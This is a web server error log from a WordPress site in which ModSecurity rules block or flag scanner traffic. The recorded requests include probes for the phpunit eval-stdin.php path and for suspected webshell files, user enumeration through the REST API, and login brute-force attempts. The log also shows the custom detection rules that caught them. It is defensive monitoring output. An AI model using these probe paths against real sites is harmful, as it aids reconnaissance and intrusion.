[Thu Apr 23 05:59:32.367061 2026] [:error] [pid 25635:tid 25649] [client 155.248.183.67:52043] [client 155.248.183.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/file-manager/initialize"] [unique_id "aelExMRxv6UsgRGKB3KbcAAAAQo"]
[Thu Apr 23 05:59:38.603007 2026] [:error] [pid 25635:tid 25661] [client 155.248.183.67:63086] [client 155.248.183.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "aelEysRxv6UsgRGKB3KblAAAARY"]
[Thu Apr 23 07:19:39.508353 2026] [autoindex:error] [pid 59700:tid 59717] [client 89.251.0.145:41159] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-admin/maint/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Thu Apr 23 07:35:16.224434 2026] [:error] [pid 43083:tid 43104] [client 114.80.36.40:42206] [client 114.80.36.40] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||rcacivilgroup.com|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "rcacivilgroup.com"] [uri "/"] [unique_id "aelbNDC5hrvNXosL83Lc1gAAANM"]
[Thu Apr 23 09:34:34.847279 2026] [:error] [pid 42973:tid 43048] [client 43.167.232.38:55976] [client 43.167.232.38] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||rcacivilgroup.com|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "rcacivilgroup.com"] [uri "/"] [unique_id "ael3Km6I0QqmmmLTHE3pFQAAAIU"]
[Thu Apr 23 10:04:51.522856 2026] [:error] [pid 64998:tid 65003] [client 45.131.195.208:32169] [client 45.131.195.208] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.131.195.208, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "ael-Q4V5EysYcTLjmwiURQAAAcE"]
[Thu Apr 23 10:12:30.265663 2026] [:error] [pid 59700:tid 59715] [client 43.166.244.192:37614] [client 43.166.244.192] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.rcacivilgroup.com|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.rcacivilgroup.com"] [uri "/"] [unique_id "aemADpXyGZJFeAIDWtmp6wAAAU0"]
[Thu Apr 23 14:50:57.733011 2026] [:error] [pid 46953:tid 46964] [client 104.28.226.5:25892] [client 104.28.226.5] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||rcacivilgroup.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "rcacivilgroup.com"] [uri "/wp-json/wp/v2/users"] [unique_id "aenBUUnlpdHh-P6wKbr6fwAAAkg"]
[Thu Apr 23 15:02:23.080367 2026] [:error] [pid 65000:tid 65044] [client 101.33.66.34:35488] [client 101.33.66.34] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||rcacivilgroup.com|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "rcacivilgroup.com"] [uri "/"] [unique_id "aenD_76vRb9j6psK2ZakwgAAAgs"]
[Thu Apr 23 15:12:07.127759 2026] [:error] [pid 42973:tid 43062] [client 198.98.57.91:56183] [client 198.98.57.91] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 198.98.57.91, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aenGR26I0QqmmmLTHE2nTgAAAJM"]
[Thu Apr 23 15:12:09.094260 2026] [:error] [pid 59700:tid 59710] [client 198.98.57.91:56224] [client 198.98.57.91] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||rcacivilgroup.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "rcacivilgroup.com"] [uri "/wp-json/wp/v2/users"] [unique_id "aenGSZXyGZJFeAIDWtndxAAAAUg"]
[Thu Apr 23 15:12:09.317148 2026] [:error] [pid 59700:tid 59722] [client 198.98.57.91:56224] [client 198.98.57.91] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||rcacivilgroup.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "rcacivilgroup.com"] [uri "/wp-json/wp/v2/users/"] [unique_id "aenGSZXyGZJFeAIDWtndxQAAAVQ"]
[Thu Apr 23 15:12:11.241416 2026] [:error] [pid 65000:tid 65054] [client 198.98.57.91:56263] [client 198.98.57.91] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 198.98.57.91, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aenGS76vRb9j6psK2ZaphAAAAhU"]
[Thu Apr 23 15:12:12.192881 2026] [:error] [pid 65000:tid 65048] [client 198.98.57.91:56263] [client 198.98.57.91] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 198.98.57.91, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aenGTL6vRb9j6psK2ZapiAAAAg8"], referer: https://rcacivilgroup.com/wp-login.php
[Thu Apr 23 15:25:30.338244 2026] [:error] [pid 42972:tid 43023] [client 43.159.62.163:57980] [client 43.159.62.163] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.rcacivilgroup.com|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.rcacivilgroup.com"] [uri "/"] [unique_id "aenJasOAb-3sOknsk4ewqgAAAEc"]
[Thu Apr 23 19:51:10.154730 2026] [:error] [pid 64998:tid 65004] [client 43.153.96.79:41458] [client 43.153.96.79] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||rcacivilgroup.com|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "rcacivilgroup.com"] [uri "/"] [unique_id "aeoHroV5EysYcTLjmwhHfAAAAcI"]
[Thu Apr 23 20:18:47.763887 2026] [:error] [pid 64998:tid 65003] [client 192.144.148.122:46510] [client 192.144.148.122] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||rcacivilgroup.com|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "rcacivilgroup.com"] [uri "/"] [unique_id "aeoOJ4V5EysYcTLjmwhUxgAAAcE"]
[Thu Apr 23 20:24:37.250722 2026] [:error] [pid 64998:tid 65004] [client 43.157.180.116:50158] [client 43.157.180.116] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.rcacivilgroup.com|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.rcacivilgroup.com"] [uri "/"] [unique_id "aeoPhYV5EysYcTLjmwhYsQAAAcI"]
[Thu Apr 23 21:54:56.552075 2026] [:error] [pid 65000:tid 65039] [client 51.12.86.96:9159] [client 51.12.86.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-content/plugins/hellopress/wp_filemanager.php"] [unique_id "aeoksL6vRb9j6psK2ZaeSAAAAgY"]
[Thu Apr 23 21:54:57.272031 2026] [:error] [pid 65000:tid 65053] [client 51.12.86.96:9209] [client 51.12.86.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-content/plugins/hellopress/wp_filemanager.php"] [unique_id "aeoksb6vRb9j6psK2ZaeTQAAAhQ"]
[Thu Apr 23 21:54:57.914940 2026] [:error] [pid 65000:tid 65042] [client 51.12.86.96:9196] [client 51.12.86.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-content/plugins/hellopress/wp_filemanager.php"] [unique_id "aeoksb6vRb9j6psK2ZaeVQAAAgk"]
[Thu Apr 23 21:54:58.472370 2026] [:error] [pid 64998:tid 65016] [client 51.12.86.96:9182] [client 51.12.86.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-content/plugins/hellopress/wp_filemanager.php"] [unique_id "aeoksoV5EysYcTLjmwiNkAAAAc4"]
[Thu Apr 23 22:19:46.627030 2026] [:error] [pid 65000:tid 65049] [client 161.115.234.70:35261] [client 161.115.234.70] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/"] [unique_id "aeoqgr6vRb9j6psK2Zav7AAAAhA"]
[Thu Apr 23 22:20:08.397060 2026] [:error] [pid 42972:tid 43023] [client 161.115.239.115:47057] [client 161.115.239.115] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "www.rcacivilgroup.com"] [uri "/"] [unique_id "aeoqmMOAb-3sOknsk4dSbgAAAEc"]
[Thu Apr 23 22:54:33.796972 2026] [:error] [pid 43083:tid 43104] [client 45.94.31.16:64179] [client 45.94.31.16] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/widgets/txets.php"] [unique_id "aeoyqTC5hrvNXosL83KGwwAAANM"]
[Thu Apr 23 22:54:34.288498 2026] [:error] [pid 65000:tid 65046] [client 45.94.31.16:51264] [client 45.94.31.16] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/rest-api/txets.php"] [unique_id "aeoyqr6vRb9j6psK2ZbHQgAAAg0"]
[Thu Apr 23 22:54:34.775585 2026] [:error] [pid 65000:tid 65049] [client 45.94.31.16:49555] [client 45.94.31.16] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/blocks/post-template/txets.php"] [unique_id "aeoyqr6vRb9j6psK2ZbHRAAAAhA"]
[Thu Apr 23 22:54:37.185607 2026] [:error] [pid 42973:tid 43060] [client 45.94.31.16:62539] [client 45.94.31.16] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/txets.php"] [unique_id "aeoyrW6I0QqmmmLTHE00ygAAAJE"]
[Thu Apr 23 23:51:16.382867 2026] [autoindex:error] [pid 42973:tid 43045] [client 173.239.218.30:53809] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-admin/maint/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Thu Apr 23 23:51:28.140427 2026] [autoindex:error] [pid 42973:tid 43048] [client 173.239.218.30:53809] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-admin/images/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Thu Apr 23 23:52:01.556466 2026] [autoindex:error] [pid 42973:tid 43060] [client 173.239.218.30:53809] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-admin/css/colors/midnight/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Thu Apr 23 23:52:04.552294 2026] [autoindex:error] [pid 42973:tid 43057] [client 173.239.218.30:53809] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/style-engine/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Thu Apr 23 23:52:16.966691 2026] [autoindex:error] [pid 42973:tid 43050] [client 173.239.218.30:53809] AH01276: Cannot serve directory /home/rcacivils/public_html/.well-known/pki-validation/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Thu Apr 23 23:52:17.128558 2026] [autoindex:error] [pid 42973:tid 43052] [client 173.239.218.30:53809] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/js/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Thu Apr 23 23:52:17.294125 2026] [autoindex:error] [pid 42973:tid 43046] [client 173.239.218.30:53809] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-content/upgrade/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Thu Apr 23 23:52:24.374796 2026] [autoindex:error] [pid 42973:tid 43064] [client 173.239.218.30:53809] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/IXR/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Thu Apr 23 23:52:24.554419 2026] [autoindex:error] [pid 42973:tid 43067] [client 173.239.218.30:53809] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/widgets/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Thu Apr 23 23:52:29.257332 2026] [autoindex:error] [pid 42973:tid 43059] [client 173.239.218.30:53809] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/images/smilies/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Thu Apr 23 23:52:32.018721 2026] [autoindex:error] [pid 42973:tid 43057] [client 173.239.218.30:53809] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/js/crop/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Thu Apr 23 23:52:32.183330 2026] [autoindex:error] [pid 42973:tid 43066] [client 173.239.218.30:53809] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/PHPMailer/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Thu Apr 23 23:52:32.508637 2026] [autoindex:error] [pid 42973:tid 43058] [client 173.239.218.30:53809] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-admin/js/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Thu Apr 23 23:52:32.675681 2026] [autoindex:error] [pid 42973:tid 43043] [client 173.239.218.30:53809] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/js/jquery/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Thu Apr 23 23:52:32.840522 2026] [autoindex:error] [pid 42973:tid 43052] [client 173.239.218.30:53809] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/block-supports/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Thu Apr 23 23:52:45.503826 2026] [autoindex:error] [pid 42973:tid 43060] [client 173.239.218.30:53809] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Thu Apr 23 23:52:45.689371 2026] [autoindex:error] [pid 42973:tid 43061] [client 173.239.218.30:53809] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/customize/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Thu Apr 23 23:52:45.851482 2026] [autoindex:error] [pid 42973:tid 43058] [client 173.239.218.30:53809] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/SimplePie/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Thu Apr 23 23:52:46.018858 2026] [autoindex:error] [pid 42973:tid 43065] [client 173.239.218.30:53809] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/theme-compat/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Thu Apr 23 23:52:46.198256 2026] [autoindex:error] [pid 42973:tid 43051] [client 173.239.218.30:53809] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/Requests/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Thu Apr 23 23:52:46.374309 2026] [autoindex:error] [pid 42973:tid 43048] [client 173.239.218.30:53809] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/ID3/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Thu Apr 23 23:52:48.912434 2026] [autoindex:error] [pid 42973:tid 43046] [client 173.239.218.30:53809] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/assets/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Thu Apr 23 23:52:49.081464 2026] [autoindex:error] [pid 42973:tid 43057] [client 173.239.218.30:53809] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/fonts/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Thu Apr 23 23:52:57.367819 2026] [autoindex:error] [pid 42973:tid 43067] [client 173.239.218.30:53809] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-admin/css/colors/blue/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
